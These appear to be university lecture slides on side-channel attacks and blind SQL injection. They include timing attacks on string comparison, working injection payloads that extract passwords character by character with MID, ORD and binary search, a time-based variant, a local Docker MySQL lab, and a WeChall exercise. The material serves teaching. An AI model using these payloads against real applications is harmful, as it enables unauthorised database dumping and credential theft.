## Side Channels (Blind SQLi)

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## Introduction

Side channels

It is often the case that applications have **side effects**: observable effects reflecting the internal state

If the side effect depends on a secret value we have a *partial* leakage

If the leakage is **enough to recover the secret** then we have an attack

#### Necessary leakages

#### Consider a password check:

- User enters a password
- The system checks the password (hash)
- 3. If the password is incorrect the user is notified

**Leak**: at each iteration the attacker **discovers** that a certain password is **incorrect** 

⇒ An attacker might directly bruteforce a password online

#### **Solutions:**

- slow down password check after some errors
- 2. <u>disable</u> user account after some errors

#### Example: PINs

Small search space ⇒ the attack becomes **fast!** 

- ATM PIN
- Telephone (SIM) PIN
- Any smartcard PIN
- Smartphone PIN
- ...

⇒ 5 digits PINs are just 99999!

Slowing down is not effective

Only possible solution: <u>Lock</u> device after some attempts

⇒ The <u>leakage rate</u> matters

## Kinds of side channels

#### Side channels can be based on

- Errors
- Time
- Content
- Size
- Power consumption
- Electromagnetic emissions
- ...

#### **Errors**

**Example**: wrong credentials

We cannot ignore the error, but we can **minimize** the leak by "hiding" what is wrong

- 1. if username is wrong return "User does not exists"
- 2. if password is wrong return "brong password"

**Solution**: if either username or password is wrong return "Wrong credentials"

#### Time attacks

Consider again the example: if either username or password is wrong return "Wrong credentials"

The test "either username or password is wrong" might be **faster** when the username is wrong

⇒ an attacker observing **time** could still deduce that the user does not exists!

**Solution**: use time-safe code!

#### Time: string comparison

**Comparison** can take different time depending on "how different" are the compared values

```
'aaaaaaaaa' == 'aaaaaaaaaa'
```

can be slower than

```
'aaaaaaaaa' == 'aaaaaaabb'
```

⇒ test stops at the first wrong character! When strings differ early the test speeds up even more:

#### **Examples**:

```
'aaaaaaaaa' == 'baaaaaaaa'
```

'aaaaaaaaa' == 'a'

are tipically faster than previous examples

#### Time: string comparison attack

#### Attacker starts from

```
'axxxxxx' == '*******'
'bxxxxxx' == '******
```

•••

⇒ Slower! first \* is s!

#### Then

```
'sbxxxxx' == '*******'
'sbxxxxx' == '*******
```

⇒ Time difference allows for brute-forcing single characters!

#### Time-safe functions

Functions that take the same time, independently of parameters

#### **Example**:

The PHP function

```
bool hash_equals (
    string $known_string ,
    string $user_string
)
```

Compares strings using the <u>same</u> <u>time</u> whether they're equal or not

This function should be used to **mitigate timing attacks**; for instance, when testing <a href="mailto:crypt()">crypt()</a> password hashes.

Neither PHP's <u>== and === operators</u> nor <u>strcmp()</u> perform constant time string comparisons

# Blind SQL injection

An injection that exploits a *side* channel to leak information:

- The injection queries sensitive data
- The result is <u>leaked via side</u> channel
- ⇒ It is used when the result of the query is not displayed in the web page

#### Possible side channels

Depending of the query **success**, the application shows:

- a distinguishable message
- an error
- a broken page
- an empty page
- ...

Intuitively, we get a 1-bit boolean answer

⇒ **Iteration** might leak the whole sensitive data

## Example

Consider a **password recovery** service that sends an email with a new password to users, if they are registered in the system

- If the user is registered the email is sent
- otherwise an error message is displayed

No information from the database is displayed but the error message depends on the actual query

⇒ if the attacker can make the error depend on database information then 1 bit can be leaked

## Example ctd.

Suppose the query checking the existence of the EMAIL (given as **input**) in the database is something like:

```
SELECT 1 FROM ... WHERE ... email='EMAIL'
```

If the query is successful the answer is YES otherwise the answer is NO (including when there is an **error** in the query)

What is the effect of input EMAIL = ' OR 1 #?

⇒ Makes the query **succeed** but <u>does not leak any data</u>

However, the attacker discovers that <u>injections are possible</u>

## Leaking something

The attacker injects the following code:

```
' OR (SELECT 1 FROM people LIMIT 0,1)=1 #
```

- success: if the table people exists
- fail: if the table people does not exist

Notice the usage of LIMIT 0,1 to just get the first row, where 0 is the OFFSET and 1 the ROWCOUNT

⇒ It takes the first row of the result, it is necessary to get a single 1 as result

#### How to replicate the following tests

#### terminal 1:

```
terminal 2:
docker exec -it some-mysql bash
mysql -pmysql --password=my-secret-pw
create database test;
use test:
CREATE TABLE people (name VARCHAR(20), password VARCHAR(20), email VARCHAR(20));
INSERT INTO people VALUES ('test1', 'test1', 'test1@unive.it');
INSERT INTO people VALUES ('test2', 'test2', 'test2@unive.it');
INSERT INTO people VALUES ('test3', 'test3', 'test3@unive.it');
INSERT INTO people VALUES ('test4','test4','test4@unive.it');
INSERT INTO people VALUES ('test5','test5','test5@unive.it');
INSERT INTO people VALUES ('test6', 'test6', 'test6@unive.it');
INSERT INTO people VALUES ('test7', 'test7', 'test7@unive.it');
INSERT INTO people VALUES ('test8', 'test8', 'test8@unive.it');
INSERT INTO people VALUES ('test9', 'test9', 'test9@unive.it');
INSERT INTO people VALUES ('test10', 'test10', 'test10@unive.it');
```

docker run --rm -it --name some-mysql -e MYSQL\_ROOT\_PASSWORD=my-secret-pw mysql

#### Tables vs. booleans

```
mysql> SELECT 1;
                          Table with one row and
                           1 column named '1'
                            with value 1 (True)
1 row in set (0.00 sec)
mysql> SELECT (SELECT 1)=1;
 (SELECT 1)=1 \mid
                           Comparison is True!
1 row in set (0.00 sec)
```

```
mysql> SELECT (SELECT 1 FROM people )=1;
ERROR 1242 (21000): Subquery returns more
than 1 row

Subquery is required to
have 1 row!
```

```
mysql> SELECT (SELECT 1 FROM people

LIMIT 0, 1 )=1;

+-----+

| (SELECT 1 FROM people LIMIT 0, 1)=1 |
+-----+

1 row in set (0.00 sec)

Limit to one row

⇒ comparison is True!
```

## Is the query OK?

```
mysql> SELECT 1 FROM people WHERE mail=' OR
        (SELECT 1 FROM people LIMIT 0,1)=1;
+---+
                                         With 10 users the query
                                       returns 10 rows with value 1
                                       (can be OK or not ... maybe
                                      the web application crashes)
10 rows in set (0.00 sec)
```

## Emulating the original query

The attacker can **limit** the result to one row by adding another LIMIT directive as follows:

```
mysql> SELECT 1 FROM people WHERE mail='' OR

(SELECT 1 FROM people LIMIT 0,1)=1 LIMIT 0,1;

+---+

| 1 |

+---+

| 1 |

----+

1 row in set (0.00 sec)
```

#### Errors

The query could fail

In case of error the application might

- break ⇒ showing an error message
- ignore it ⇒ consider the result as 0

In both cases the error is **distinguishable** from the success case

#### Checking column name

The attacker can use the MID function to check the existence of a particular column

```
MID(password,1,0) gets the substring of length 0 from position 1
SELECT 1 FROM people WHERE mail='
' OR (SELECT MID(password,1,0) FROM people LIMIT 0,1)=' ' #
```

⇒ Only when **password** exists the attacker gets a positive result

## Leaking arbitrary data

Once table and column names are known the attacker can leak arbitrary data brute-forcing single characters:

```
OR (SELECT MID(password, 1, 1) FROM people LIMIT 0, 1) = 'a' #

OR (SELECT MID(password, 1, 1) FROM people LIMIT 0, 1) = 'b' #

OR (SELECT MID(password, 1, 1) FROM people LIMIT 0, 1) = 'z' #
```

⇒ Brute-forces the first character of the first password!

## Binary search

Binary search makes search efficient:

```
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('m') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('t') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('w') #
FALSE
' OR (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('y') #
TRUE
' OR (SELECT ORD(MID(password, 1, 1)) FROM people LIMIT 0, 1) <= ORD('x') #
TRUE
```

## Binary search

```
a b c d e f g h i j k l n n o p q r s t u v w x y z

FALSE n o p q r s t u v w x y z

FALSE u v w x y z

FALSE x y z

TRUE x
```

 $\Rightarrow$  Worst case: 5 queries for lowercase letters ( $\log_2 26 \sim 4.7$ )

# Totally blind SQL injection

The web application does **NOT** show:

- any distinguishable message
- any error
- any broken page
- any empty page
- ...
- ⇒ The attacker can still use time

## Time based attack (blind injection)

The attacker still uses binary search:

When the internal query is successful the query "sleeps" for some time

⇒ Time should be enough to be **observed remotely**!

Attack is **slow** but can potentially **leak** the whole database!

#### Summary

Assume that the web application:

- is vulnerable to SQL injection
- does not display query results

**Blind injection**: the application behaves differently depending on query result

**Totally blind injection**: the application behaviour is independent of the query

The attacker can

- guess table and column names
- attack information\_schema in order to dump database structure

The whole database is **dumped** character by character

**Binary search** improves the efficiency

#### Exercise

WeChall: Blinded by the light

- White box challenge: source code is available
- Needs scripting: use <u>python requests</u>

#### Attack plan:

- Study the source code
- Try injections by hand
- Script your attack to solve the challenge

**NOTE**: Behave correctly and respect the WeChall site!